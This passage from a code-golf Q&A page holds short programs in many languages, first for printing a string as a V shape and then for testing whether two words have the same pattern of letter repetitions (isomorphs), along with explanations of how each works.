here!](http://conorobrien-foxx.github.io/Jolf/#code=Us6ces6Sz45saWQrzrNfcHFfIGwrKgVTaTDOks6SBSBMX86zMVM&input=Sm9sZg) `␅` should be 0x05. ## Explanation ``` RΜzΒώlid+γ_pq_ l+*␅Hi0ΒΒ␅ L_γ1S i = input li i.length ώ 2 * Β Β = z range(1, Β + 1) Μ d map with: (S = index, from 0) + add: *␅H S spaces i and the input l slice (^) from 0Β 0 to Β pq_ Β␅ pad (^) with spaces to the right γ_ γ = reverse (^) + L_γ1 γ + behead(γ) R S join with newlines ``` [Answer] # [Charcoal](https://github.com/somebody1234/Charcoal), 29 bytes *Happy birthday V, from your fellow disappointingly-long-for-this-challenge ASCII-art language!* ``` SσF…·¹Lσ«Fι§σκMι←↖»Fσ«Pσ↖»‖O→ ``` [Try it online!](https://tio.run/nexus/charcoal#@/9@z@bzze/3LHvUsOzQ9kM73@9Zc7750GqgwLmdh5afbz636/2eted2Pmqb8Kht2qHdQHGI9IbzzWCBRw3T3u9Z/6ht0v//TplFJRkpiZUA "Charcoal – TIO Nexus") ### Explanation Our strategy: print the left half of the V, starting from the bottom and moving to the upper left; then reflect it. ``` Sσ Input σ as string The bottom len(σ) half-rows: F…·¹Lσ« » For ι in inclusive range from 1 to length(σ): Fι For κ in range(ι): §σκ Print character of σ at index κ Mι← Move cursor ι spaces leftward ↖ Move cursor one space up and left The top len(σ) half-rows: Fσ« » For each character ι in σ: Pσ Print σ without moving the cursor ↖ Move cursor one space up and left ‖O→ Reflect the whole thing rightward, with overlap ``` (If only Charcoal had string slicing... alas, it appears that hasn't been implemented yet.) [Answer] # [Pip](https://github.com/dloscutoff/pip), ~~32~~ 25 bytes ``` a.:sX#aL#a{OaDQaPRVaaPUs} ``` Takes the input string as a command-line argument. [Try it online!](https://tio.run/nexus/pip#@5@oZ1UcoZzoo5xY7Z/oEpgYEBSWmBgQWlz7//9/p8yikoyUxEoA "Pip – TIO Nexus") ### Explanation ``` a is 1st cmdline arg, s is space (implicit) #a Len(a) sX Space, string-multiplied by the above a.: Concatenate that to the end of a L#a{ } Loop len(a) times (but NB, a is now twice as long as it was): Oa Output a (no trailing newline) DQa Dequeue one character from the end of a PRVa Print reverse(a) (with trailing newline) aPUs Push one space to the front of a ``` [Answer] # R with stringi package, 225 Bytes ``` library(stringi) f=function(){ s=scan(,'',1,sep="\n") m=2*nchar(s) l=stri_pad(sapply(1:m-1,function(x)substr(paste(paste(rep(" ",x),collapse=""),s),1,m)),m,"right") r=substr(stri_reverse(l),2,m) message(paste0(l,r,"\n"))} f() ``` If you run R in interactive code, after pasting my answer just input anything. You will need the stringi R package to be installed (I hope it's not against the rules). # Explanation: The basic idea is to add spaces to the left side, then cut it to the right length. After that, paste it with its reversed version as the right side. Here is a longer, human-readable version of the function: ``` library(stringi) make_V <- function(){ # declaring the function string <- scan(, '', n=1, sep="\n") # reading input max_length <- 2*nchar(string) # number of chars in each half row # creating the left side of the V left <- stri_pad( sapply(1:max_length-1, # for each row function(x){ substr( paste0( paste0(rep(" ", x), collapse=""), string), # add spaces to left side 1, max_length) # cut the unneeded end }), width=max_length, side="right") # add spaces to the right side # creating the right side of the V right <- substr(stri_reverse(left), 2, max_length) # print it without any symbols before the strings message(paste0(left, right, "\n")) } # run the function make_V() ``` [Answer] # Ruby, ~~92~~ ~~89~~ 85 bytes ``` s=gets.chomp s<<" "*n=s.size*2 n.times{s=s[0..(n-1)] puts s+s.reverse[1..-1] s=" "+s} ``` My process was to remove the first character from the right half of each line after reversing the first half. Like this: ``` Hello | olleH Hello | olleH Hello | olleH Hello | olleH Hello |olleH Hello|lleH Hell|leH Hel|eH He|H H| ``` I'm not used to trying to golf things so let me know if there's anything I can do to get it shorter. [Answer] ## Batch, ~~186~~ 185 bytes ``` @set e=@set %e%/ps= %e%t=%s% %e%r= :l %e%s=%s% %e%r= %r%%t:~-1% %e%t=%t:~,-1% @if not "%t%"=="" goto l :g %e%r=%r:~1% @echo %s%%r% %e%s= %s:~,-1% @if not "%r%"=="" goto g ``` Lines 1 and 6 have a trailing space. Edit: Saved 1 byte thanks to @ConorO'Brien. [Answer] # [Haskell](https://www.haskell.org/), 76 bytes `v` is the main function, taking a `String` argument and giving a `String` result. ``` v i=unlines.r$i++(' '<$i) r""=[] r s|t<-init s=(s++reverse t):map(' ':)(r t) ``` [Try it online!](https://tio.run/nexus/haskell#LYxBCsIwEEX3c4qxBNoQ7AFKs3HVE7gRF0EDDqQxTKaBgnj1GMXV4/E@f3UU0SJF8exuggq3GCj6jCOuLmFp/HktSPbfRlZkzNBjPyvSwF1nL1dgzC@ZjxRJMNshG8O@eM4eRU/t67uf9MBNa118CE9YXEo7nIjlcXc7nA/w/gA "Haskell – TIO Nexus") # Notes: * `i` is the initial argument/input. * `s` is initially `i` with `length i` spaces appended. * `v i` calls `r s`, then joins the result lines. * `r` returns a list of `String` lines. * `t` is `s` with the last character chopped off. * The recursion `r t` produces the lines except the first, minus the initial space on each line. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 13 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` ⁶ṁ;@µḣJUz⁶ŒBY ``` **[Try it online!](https://tio.run/nexus/jelly#@/@ocdvDnY3WDoe2Ptyx2Cu0Csg/Oskp8v///0oeqUWp6sUKJfkKuYl5lQq5@UWpCpWpiUXFikoA)** ### How? ``` ⁶ṁ;@µḣJUz⁶ŒBY - Main link: string s ⁶ - space character ṁ - mould like s: len(s) spaces ;@ - concatenate s with that µ - monadic chain separation (call that t) J - range(length(t)) ḣ - head (vectorises): list of prefixes from length to all U - upend: reverse each of them z - transpose with filler: ⁶ - space: now a list of the left parts plus centre ŒB - bounce each: reflect each one with only one copy of the rightmost character Y - join with line feeds - implicit print ``` [Answer] # Ruby, ~~85~~ 83 bytes *edit: removed excess whitespace* ``` s=ARGV[0];s+=' '*s.length;s.length.times{|i|puts s+s[i..-2].reverse;s=' '+s[0..-2]} ``` I actually found it pretty difficult to golf this one down in Ruby. After adding whitespace, it expands to a pretty readable snippet of code: ``` s = ARGV[0] s+=' ' * s.length s.length.times do |i| puts s + s[i..-2].reverse s = ' ' + s[0..-2] end ``` [Answer] # MATLAB (R2016b), 223 183 bytes ``` r=input('');l=nnz(r)*2;for i=1:l;m=l+1-2*i;c={' '};s=cell(1,i-1);s(:)=c;x=cell(1,m);x(:)=c;e=r;y=flip(r);if(m<1);e=r(1:2*end-i+1);y=r(l/2+end-i:-1:1);end;disp(cell2mat([s e x y]));end ``` First time Code Golfing. Tips are welcome! **Program Output:** [![MATLAB Code Golf](https://i.stack.imgur.com/MfmWm.png)](https://i.stack.imgur.com/MfmWm.png) **Edit:** Saved 40 bytes thanks to Luis Mendo. [Answer] # PHP, ~~95~~ ~~92~~ ~~85~~ ~~80~~ ~~78~~ 77 bytes Note: uses IBM-850 encoding ``` for($s.=strtr($s^$s=$argn,~ ,~▀);~$s[$i++];)echo$s,strrev($s=" $s"^$s^$s),~§; # Note that this ^ char is decimal 255 (negating it yields "\0") ``` Run like this: ``` echo "Hello" | php -nR 'for($s.=strtr($s^$s=$argn,"\0",~▀);~$s[$i++];)echo$s,strrev($s=" $s"^$s^$s),~§;' > Hello olleH > Hello olleH > Hello olleH > Hello olleH > Hello olleH > HellolleH > HellleH > HeleH > HeH > H ``` # Explanation ``` for( $s.=strtr( # Set string to the input, padded with spaces. $s^$s=$argn, # Input negated with itself, leads to string with # only null bytes with the same length. ~ , # Replace null bytes... ~▀ # ... with spaces. ); ~$s[$i++]; # Iterate over the string by chars, works because # there are just as many lines as the padded # string has chars. ) echo # Output! $s, # The string. strrev( # The reverse of the string. $s=" $s"^$s^$s # After each iteration, prefix string with a ), # space, and trim the last character. ~§; # Newline. ``` # Tweaks * Saved 3 bytes by getting rid of the pad character (`str_pad` defaults to space, which is what we need) * Saved 7 bytes by using binary operations on the string to truncate it instead of `substr` * Saved 5 bytes by rotating the string when printing the reverse. Prevents the need for printing a backspace, but results in a trailing space on each line. * Saved 2 bytes by padding string using a more convoluted, but shorter method. * Saved a byte due to the fact that there is no need to account for the `~"0"` case (ASCII 207), as all input may be assumed to be printable ascii (Thx @Titus) [Answer] # [Vyxal](https://github.com/Lyxal/Vyxal), 21 bytes ``` Ld(n⁰n⁰Ldεwi꘍⁰Ln-꘍øm, ``` [Try it Online!](http://lyxal.pythonanywhere.com?flags=&code=Ld%28n%E2%81%B0n%E2%81%B0Ld%CE%B5wi%EA%98%8D%E2%81%B0Ln-%EA%98%8D%C3%B8m%2C&inputs=Hello&header=&footer=) This was interesting. [Here](http://lyxal.pythonanywhere.com?flags=&code=Ld%28n%E2%81%B0n%E2%81%B0Ld%CE%B5wi%EA%98%8D%E2%81%B0Ln%CE%B5%EA%98%8D%C3%B8m%2C&inputs=Hello&header=&footer=)'s a bugged version. ``` Ld( # Length * 2 times do... n # Iteration number... ꘍ # Spaces, plus... ⁰ # Input string... wi # Sliced to first... ε # Absolute difference of... n # Iteration number... ε # And... d # Double... ⁰L # The original string's length... ꘍ # Plus... - # Difference of... ⁰L # Original string's length - # And... n # Iteration number ꘍ # Spaces. øm # Palindromised , # And outputted. ``` [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal) `C`, 5 bytes ``` L꘍¦Ṙʁ ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyJDIiwiIiwiTOqYjcKm4bmYyoEiLCIiLCJCaXJ0aGRheSJd) Less than half the bytecount of Jelly and 05AB1E, and less than a fourth of the bytecount of emanresu's Vyxal! *evil laugh* ``` L꘍¦Ṙʁ ꘍ # Append as many spaces to the input as... L # Its length ¦ # Get all prefixes of this Ṙ # Reverse this ʁ # Palindromize each (for each x, x + x[::-1][1:]) # C flag centers and joins on newlines ``` Think I'm cheating with flags? # [Vyxal](https://github.com/Vyxal/Vyxal), 6 bytes ``` L꘍¦Ṙøṗ ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCJM6piNwqbhuZjDuOG5lyIsIiIsIkJpcnRoZGF5Il0=) ``` L꘍¦Ṙøṗ ꘍ # Append as many spaces to the input as... L # Its length ¦ # Get all prefixes of this Ṙ # Reverse this øṗ # Palindromize each (for each x, x + x[::-1][1:]), center, and join on newlines ``` [Answer] # JavaScript (ES6), ~~169~~ 157 bytes *(-10 bytes thanks to Conor O'Brien)* ``` V=(j,i=0,p="")=>i<(f=j.length)*2?V(j,-~i,p+" ".repeat(i)+j.slice(0,f-i*(i>f))+" ".repeat(i<f?(f-i)*2-1:0)+[...j.slice(0,f+~i*(i>=f))].reverse().join``+` `):p ``` A recursive solution. I am new to JavaScript, so please be gentle! Any golfing tips are greatly appreciated. :) And, of course, a very happy birthday to you `V`! ## Test Snippet ``` V=(j,i=0,p="")=>i<(f=j.length)*2?V(j,-~i,p+" ".repeat(i)+j.slice(0,f-i*(i>f))+" ".repeat(i<f?(f-i)*2-1:0)+[...j.slice(0,f+~i*(i>=f))].reverse().join``+` `):p ``` ``` <input oninput=o.textContent=V(this.value)><pre id=o> ``` [Answer] # [CJam](https://sourceforge.net/p/cjam), 26 bytes *Happy birthday from your old pal CJam!* ``` q_,2*:L,\f{LS*+m>L<_W%(;N} ``` [Try it online!](https://tio.run/nexus/cjam#@18Yr2OkZeWjE5NW7ROspZ1r52MTH66qYe1X@/@/R2JBQSUA "CJam – TIO Nexus") **Explanation** ``` q Push the input _,2*:L Push 2 times the length of the input, store it in L , Take the range from 0 to L-1 \ Swap top stack elements f{ Map over the range, using the input as an extra parameter LS*+ Append L spaces to the input m> Rotate the resulting string right i positions (where i is the current number being mapped) L< Take the first L characters of the string _W% Duplicate it and reverse it (; Remove the first character from the copy N Add a newline } (end of block) (implicit output) ``` [Answer] ## PowerShell, ~~126 bytes~~ 124 bytes ``` $l=($s="$args")|% Le*;$r=-join$s[-1..-$l];0..($l*2-1)|%{' '*$_+($s+' '*$l).substring(0,$l*2-$_)+(' '*$l+$r).substring($_+1)} ``` Call it with a single parameter, such as `.\V.ps1 Hello`. Edit: 2 bytes saved with tip from AdmBorkBork [Answer] # [Pyke](https://github.com/muddyfish/PYKE), 14 bytes ``` l}j Fd*R+j^j<s ``` [Try it online!](https://tio.run/nexus/pyke#@59Tm6XglqIVpJ0Vl2VT/P@/R2pOTj4A "Pyke – TIO Nexus") ]
[Question] [ Two words are *[isomorphs](http://www.questrel.com/records.html#spelling_structure_entire_word_isomorph_or_matching_letter_pattern)* if they have the same pattern of letter repetitions. For example, both `ESTATE` and `DUELED` have pattern `abcdca` ``` ESTATE DUELED abcdca ``` because letters 1 and 6 are the same, letters 3 and 5 are the same, and nothing further. This also means the words are related by a substitution cipher, here with the matching `E <-> D, S <-> U, T <-> E, A <-> L`. Write code that takes two words and checks whether they are isomorphs. Fewest bytes wins. **Input:** Two non-empty strings of capital letters `A..Z`. If you wish, you can take these as a collection of two strings or as a single string with a separator. **Output:** A consistent [Truthy value](http://meta.codegolf.stackexchange.com/q/2190/20260) for pairs that are isomorphs, and a consistent [Falsey value](http://meta.codegolf.stackexchange.com/q/2190/20260) if they are not. Strings of different lengths are valid inputs that are never isomorphs. **Test cases:** *True:* ``` ESTATE DUELED DUELED ESTATE XXX YYY CBAABC DEFFED RAMBUNCTIOUSLY THERMODYNAMICS DISCRIMINATIVE SIMPLIFICATION ``` *False:* ``` SEE SAW ANTS PANTS BANANA SERENE BANANA SENSES AB CC XXY XYY ABCBACCBA ABCBACCAB ABAB CD ``` Feel free to add more test cases you find useful. **Leaderboard** Here is a Stack Snippet to generate both a regular leaderboard and an overview of winners by language. To make sure that your answer shows up, please start your answer with a headline, using the following Markdown template: ``` # Language Name, N bytes ``` where `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance: ``` # Ruby, <s>104</s> <s>101</s> 96 bytes ``` ``` var QUESTION_ID=50472;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),e.has_more?getAnswers():process()}})}function shouldHaveHeading(e){var a=!1,r=e.body_markdown.split("\n");try{a|=/^#/.test(e.body_markdown),a|=["-","="].indexOf(r[1][0])>-1,a&=LANGUAGE_REG.test(e.body_markdown)}catch(n){}return a}function shouldHaveScore(e){var a=!1;try{a|=SIZE_REG.test(e.body_markdown.split("\n")[0])}catch(r){}return a}function getAuthorName(e){return e.owner.display_name}function process(){answers=answers.filter(shouldHaveScore).filter(shouldHaveHeading),answers.sort(function(e,a){var r=+(e.body_markdown.split("\n")[0].match(SIZE_REG)||[1/0])[0],n=+(a.body_markdown.split("\n")[0].match(SIZE_REG)||[1/0])[0];return r-n});var e={},a=1,r=null,n=1;answers.forEach(function(s){var t=s.body_markdown.split("\n")[0],o=jQuery("#answer-template").html(),l=(t.match(NUMBER_REG)[0],(t.match(SIZE_REG)||[0])[0]),c=t.match(LANGUAGE_REG)[1],i=getAuthorName(s);l!=r&&(n=a),r=l,++a,o=o.replace("{{PLACE}}",n+".").replace("{{NAME}}",i).replace("{{LANGUAGE}}",c).replace("{{SIZE}}",l).replace("{{LINK}}",s.share_link),o=jQuery(o),jQuery("#answers").append(o),e[c]=e[c]||{lang:c,user:i,size:l,link:s.share_link}});var s=[];for(var t in e)e.hasOwnProperty(t)&&s.push(e[t]);s.sort(function(e,a){return e.lang>a.lang?1:e.lang<a.lang?-1:0});for(var o=0;o<s.length;++o){var l=jQuery("#language-template").html(),t=s[o];l=l.replace("{{LANGUAGE}}",t.lang).replace("{{NAME}}",t.user).replace("{{SIZE}}",t.size).replace("{{LINK}}",t.link),l=jQuery(l),jQuery("#languages").append(l)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",answers=[],page=1;getAnswers();var SIZE_REG=/\d+(?=[^\d&]*(?:&lt;(?:s&gt;[^&]*&lt;\/s&gt;|[^&]+&gt;)[^\d&]*)*$)/,NUMBER_REG=/\d+/,LANGUAGE_REG=/^#*\s*([^,]+)/; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script><link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"><div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table></div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table></div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody></table><table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody></table> ``` [Answer] # J, 4 bytes ``` -:&= ``` Usage ``` 'THERMODYNAMICS' (-:&=) 'RAMBUNCTIOUSLY' NB. parens are optional 1 ``` Explanation * `=` with 1 argument creates an equality-table comparing the elements of the input and its nub. ``` ='ESTATE' gives the binary matrix = | E S T A T E --+------------ E | 1 0 0 0 0 1 S | 0 1 0 0 0 0 T | 0 0 1 0 1 0 A | 0 0 0 1 0 0 ``` * `-:` with 2 arguments checks their equality (like `==` generally does). This works for different size matrices (or even different types) too. * `f&g` applies g to both input separately and then applies f to the two results together so `x f&g y == f(g(x), g(y))`. * So in our case we compare the two equality-tables. [Try it online here.](http://tryj.tk/) [Answer] # K, 5 bytes This has a delightfully elegant solution in K! ``` ~/=:' ``` The "group" operator (monadic `=`) creates precisely the signature we want for word isomorphism; gathering vectors of the indices of each element of a vector, with the groups ordered by appearance: ``` ="ABBAC" (0 3 1 2 ,4) ="DCCDF" (0 3 1 2 ,4) ``` Taking a pair of strings as a vector, we just need to apply group to each element (`=:'`) and then reduce with "match" (`~`), the deep-equality operator: ``` ~/=:'("RAMBUNCTIOUSLY";"THERMODYNAMICS") 1 ~/=:'("BANANA";"SERENE") 0 ``` [Answer] # Python 2, 41 bytes ``` f=lambda a,b:map(a.find,a)==map(b.find,b) ``` [Answer] # CJam, 9 bytes ``` r_f#r_f#= ``` Prints `1` if the words are isomorphs and `0` if they're not. Try it online in the [CJam interpreter](http://cjam.aditsu.net/#code=r_f%23r_f%23%3D&input=ESTATE%20DUELED). ### How it works ``` r e# Read a whitespace separated token from STDIN. _ e# Push a copy. f# e# Get the indexes of all characters from the first copy in the second. r_f# e# Repeat for the second word. = e# Check for equality. ``` [Answer] # JavaScript, ES7, ~~62 55 54 52~~ 51 bytes ``` f=(x,y,g=z=>[for(i of z)z.search(i)]+0)=>g(x)==g(y) ``` The logic is simple. I simply convert both the inputs into their corresponding character index values, convert that array into string and compare. ``` f=(x, y, // Create a function named f which takes two arguments x and y g= // There is a third default argument to f which equals to z=> // and arrow function which takes argument z [ // Return this array which is created using array comprehension for(i of z) // For each character of z z.search(i) // Use the index of that character in z in place of the character ]+0 // And finally type cast that array to a string // Here, the array elements are automatically joined by a ',' // and appended by a 0. // Its funny how JS type casts Array + Number to a string )=> // Now the body of function f starts g(x)==g(y) // It simply returns if index map of x equals index map of y ``` Try the above code using the snippet below. ``` f=(x,y,g=z=>[for(i of z)z.search(i)]+0)=>g(x)==g(y) // for cross browser testing, here is a slightly modified ES5 version of above function if (!f) { function f(x, y) { function g(z) { var Z = []; for (var i = 0; i < z.length; i++) { Z[i] = z.search(z[i]) } return Z + 0; } return g(x) == g(y); } } B.onclick=function() { O.innerHTML = f(D.value, E.value); }; ``` ``` <pre>f(<input id=D />,<input id=E />)</pre><button id=B >Run</button> <br> <output id=O /> ``` *2 bytes saved thanks to [@edc65](https://codegolf.stackexchange.com/users/21348/edc65)* [Answer] # Bash + coreutils, 38 ``` [ `tr $@<<<$1``tr $2 $1<<<$2` = $2$1 ] ``` Note we are using the usual shell idea of truthy/falsy here - zero means SUCCESS or TRUE and non-zero means error or FALSE: ``` $ for t in "ESTATE DUELED" "DUELED ESTATE" "XXX YYY" "CBAABC DEFFED" "RAMBUNCTIOUSLY THERMODYNAMICS" "DISCRIMINATIVE SIMPLIFICATION" "SEE SAW" "ANTS PANTS" "BANANA SERENE" "BANANA SENSES" "AB CC" "XXY XYY" "ABCBACCBA ABCBACCAB"; do > ./isomorph.sh $t > echo $t $? > done ESTATE DUELED 0 DUELED ESTATE 0 XXX YYY 0 CBAABC DEFFED 0 RAMBUNCTIOUSLY THERMODYNAMICS 0 DISCRIMINATIVE SIMPLIFICATION 0 SEE SAW 1 ANTS PANTS 1 BANANA SERENE 1 BANANA SENSES 1 AB CC 1 XXY XYY 1 ABCBACCBA ABCBACCAB 1 $ ``` [Answer] # Haskell, ~~33~~ 29 # EDIT: this is way too late, but i found this improvement using applicatives, that were added to prelude only in march 2015. ``` s%k=g s==g k g s=(==)<$>s<*>s ``` Old version: ``` s%k=g s==g k g s=[a==b|a<-s,b<-s] ``` the checking function is `(%)` this works by generating for each string its "equality record": for each two indices i j, it records whether they have equal characters. the record is ordered so that the record for two indices i, j is always in the same place\* and therefore checking the equality of the records would return whether or not the strings have the same pattern. for example, the equality record of "ABC" is `[1,0,0,0,1,0,0,0,1]` (1 for true, 0 for false) - there is `True` where any index is compared with itself. anywhere else is a false. (skipping these checks might be more efficient, but is harder in terms of golfng) \*if the strings are of the same length. otherwise it returns false just because the records are of different lengths [Answer] ## R, 78 ``` function(x,y)identical((g=function(z)match(a<-strsplit(z,"")[[1]],a))(x),g(y)) ``` De-golfed: ``` word_to_num <- function(word) { chars <- strsplit(word,"")[[1]] match(chars, chars) } are_isomorph <- function(word1, word2) identical(word_to_num(word1), word_to_num(word2)) ``` [Answer] # Haskell, ~~45~~ 41 bytes ``` h l=map(`lookup`zip l[1..])l x!y=h x==h y ``` Returns `True` or `False`, e.g `"ESTATE" ! "DUELED"` -> `True`. Uses the map-char-to-first-index method as seen in many other answers. Association lists come in handy, because earlier entries trump. `"aba"` becomes `[(a,1),(b,2),(a,3)]` where `lookup` always fetches `a` -> `1`. Edit: @Mauris found 4 bytes to save. [Answer] # Brainfuck, ~~169~~ ~~168~~ ~~162~~ ~~144~~ ~~140~~ ~~131~~ 130 Compatible with Alex Pankratov's [bff](http://swapped.cc/#!/bff) (brainfuck interpreter used on SPOJ and ideone) and Thomas Cort's [BFI](http://esoteric.sange.fi/brainfuck/impl/interp/BFI.c) (used on Anarchy Golf). The expected input is two strings separated by a tab, with no newline after the second string. The output is `1` for isomorphs and `0` for non-isomorphs, which is convenient for checking results visually, although not the shortest option. (**Update:** shorter version with `\x01` and `\x00` as output and `\x00` as separator at the bottom of the answer.) [Demonstration](http://ideone.com/nodXF7) on ideone. ``` ,+ [ - --------- >+< [ >>-< [ < [ >+< <<<<-<+>>>>>- ] ++[->+] ->+[+<-] >[<<<<] < ] <[>+<-] +[->+] <-> >>> ] > [ [[-]<<<<<] >>>> ] <,+ ] >>>+>+ [ [<->-] <[>>>>>] <<<< ] -<[>] +++++++[<+++++++>-] <. ``` This problem turns out to be very nice for brainfuck. The basic idea with indexing is to go backwards from the end of the current string prefix. If the character has not previously occurred, we can take the length of the string prefix. For example: ``` STATES 123255 ``` The indexing in the code is actually slightly different but uses the same principle. The memory layout is in blocks of 5: ``` 0 0 0 0 0 0 c 0 i p 0 c 0 i p 0 c 0 i p 0 0 0 0 ``` `c` stands for character, `i` for index, and `p` for previous (index). When the first string is being processed, all the `p` slots are zero. The cell to the left of `c` is used to hold a copy of the current character that we are trying to find the index of. The cell to the left of the current `i` is used to hold a `-1` for easy pointer navigation. There are many conditions that need to be considered carefully. At the end, we check for isomorphs by comparing the `(i,p)` pairs, and we reach the cluster of zero cells to the left of the leftmost `(i,p)` pair if and only if the strings are isomorphs. Here is a commented version of the code to make it easier to follow: ``` ,+ [ while there is input - --------- >+< increment char (adjust later) [ if not tab >>-< set navigation flag [ loop to find index < travel to copy [ >+< restore char <<<<-<+>>>>>- compare chars and create copy ] ++[->+] travel between navigation flags ->+[+<-] increment index by 2 and go back >[<<<<] proceed if not fallen off string < compare chars ] <[>+<-] restore char (or no op) +[->+] go back to navigation flag <-> adjust char >>> alignment ] > [ if tab [[-]<<<<<] erase chars and go to beginning >>>> alignment ] <,+ ] >>>+>+ check string lengths and start loop [ [<->-] compare indices <[>>>>>] realign if not equal <<<< proceed ] -<[>] cell to left is zero iff isomorphs +++++++[<+++++++>-] <. ``` **Update:** Here is a version that prints `\x01` for isomorphs and `\x00` for non-isomorphs. This is arguably a more accurate interpretation of Truthy and Falsey for brainfuck, because of the way `[` and `]` work. The only difference is at the very end. Additional: Now using `\x00` as a separator to save 10 bytes. ``` + [ - >+< [ >>-< [ < [ >+< <<<<-<+>>>>>- ] ++[->+] ->+[+<-] >[<<<<] < ] <[>+<-] +[->+] <-> >>> ] > [ [[-]<<<<<] >>>> ] <,+ ] >>>+>+ [ [<->-] <[>>>>>] <<<< ] -<[>] <+. ``` [Answer] # JavaScript (ES6), 62 Using an aux function `h` that maps each word to an array containing the position of each letter in the word, for instance: PASS -> [1,2,3,3]. Return true if the function `h` applied the two words gives the same result. ``` f=(a,b,h=w=>0+[for(c of(n=k=[],w))k[c]=k[c]||++n])=>h(b)==h(a) // TEST ;[ // True ['ESTATE','DUELED'] ,['DUELED','ESTATE'] ,['XXX','YYY'] ,['CBAABC','DEFFED'] ,['RAMBUNCTIOUSLY','THERMODYNAMICS'] ,['DISCRIMINATIVE','SIMPLIFICATION'] // False: ,['SEE','SAW'] ,['ANTS','PANTS'] ,['BANANA','SERENE'] ,['BANANA','SENSES'] ,['XXY','XYY'] ,['ABCBACCBA','ABCBACCAB'] ] .forEach(t=>(f(t[0],t[1])?OK:KO).innerHTML+=t+'\n') ``` ``` Ok<br> <pre id=OK></pre><br> KO<br> <pre id=KO></pre> ``` [Answer] # Ruby, 83 bytes ``` t=->x{y=0;z=?`;x.gsub!(y[0],z.succ!)while y=x.match(/[A-Z]/);x};f=->a,b{t[a]==t[b]} ``` It's a function `f` that takes two arguments and returns `true` or `false`. Explanation: ``` test = -> str { y = nil # we're just initializing this; it doesn't matter to what # this is the variable we use to store the `match' result z = '`' # backtick is the ASCII character before `a' while y = str.match(/[A-Z]/) do # while there is an uppercase letter in str str.gsub!(y[0], z.succ!) # replace all instances of the uppercase letter # with the next unused lowercase letter end str # return the new string } # self-explanatory f=->a,b{test[a]==test[b]} ``` [Answer] # Java, 107 ``` (s,t)->java.util.Arrays.equals(s.chars().map(s::indexOf).toArray(),t.chars().map(t::indexOf).toArray()) ``` Maps each character of `s` and `t` to its location, and checks for equality. Expanded: ``` class Isomorphs { public static void main(String[] args) { java.util.function.BiFunction<String, String, Boolean> f = (s, t) -> java.util.Arrays.equals( s.chars().map(s::indexOf).toArray(), t.chars().map(t::indexOf).toArray() ) ; System.out.println(f.apply("XXY", "XYY")); } } ``` [Answer] # Python 3, 85 bytes ``` f=lambda a,b:''.join(map(lambda g:dict(zip(a,b))[g],a))==b g=lambda a,b:f(a,b)&f(b,a) ``` [Answer] # Pyth, 9 bytes ``` qFmmxdkdQ ``` Takes input in the following form: ``` "ESTATE", "DUELED" ``` If that is not acceptable, the following code is 10 bytes: ``` qFmmxdkd.z ``` and uses this input form: ``` ESTATE DUELED ``` Uses the index of char in string representation. [Answer] # Matlab, 50 bytes ``` f=@(s,t)isequal(bsxfun(@eq,s,s'),bsxfun(@eq,t,t')) ``` The function is defined as anonymous to save some space. Example: ``` >> f=@(s,t)isequal(bsxfun(@eq,s,s'),bsxfun(@eq,t,t')); >> f('ESTATE','DUELED') ans = 1 >> f('ANTS','PANTS') ans = 0 ``` [Answer] # Octave, 26 bytes ``` @(s,t)isequal(s==s',t==t') ``` [Answer] # Ruby, 31 bytes ``` ->a{!!a.uniq!{|s|s.tr s,'a-z'}} ``` A Proc that takes an array of strings and checks whether any are isomorphic to each other. `tr s,'a-z'` with these arguments normalizes a string `s` by replacing each letter with the nth letter in the alphabet, where `n` is the greatest index with which that letter appears in the string. For example, `estate` becomes `fbedef`, as does `dueled`. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 6 bytes ``` εæδË}Ë ``` [Try it online!](https://tio.run/##MzBNTDJM/f//3NbDy85tOdxde7j7//9odRfPYOcgT19PP8cQzzBXdR0F9WBP3wAfTzdPZ6CIv596LAA "05AB1E – Try It Online") Takes input as a list: `['ESTATE', 'DUELED']` **Explanations:** ``` εæδË}Ë Full program ε Apply on each æ Powerset δË For each generated substring: 1 if all equal, 0 otherwise } End for each Ë 1 if all equal, 0 otherwise ``` [Answer] # [APL (Dyalog)](https://www.dyalog.com/), ~~5~~ 4 bytes -1 thanks to ngn's hint. Anonymous tacit prefix function which takes a list of two strings as argument. ``` ≡.⍳⍨ ``` [Try it Online!](https://tio.run/##XU69CsIwEN59CrdM@g6X6xUPmrQkqTajILoIuvoCgkPBV3Bz9436InpJSwcJIff9Xb799bw63Pbny@n7PQ735/B4rYf@M/RvwUtFPkAgtVRFSxUVanGcx1lMXNd1QsQYM0INoDGlqCynlAOjW4uB69ZXUbSwIWfqIlowjH7czB4dG7YQeJt@9WyaiktGIWqbPZ6yALuMwAYvsMlvIjRYOclBjiz9c9bT6AMtGHEqn/p0U3lprgHlqnkW86iMqUL9AA "APL (Dyalog Unicode) – Try It Online") This is an inner 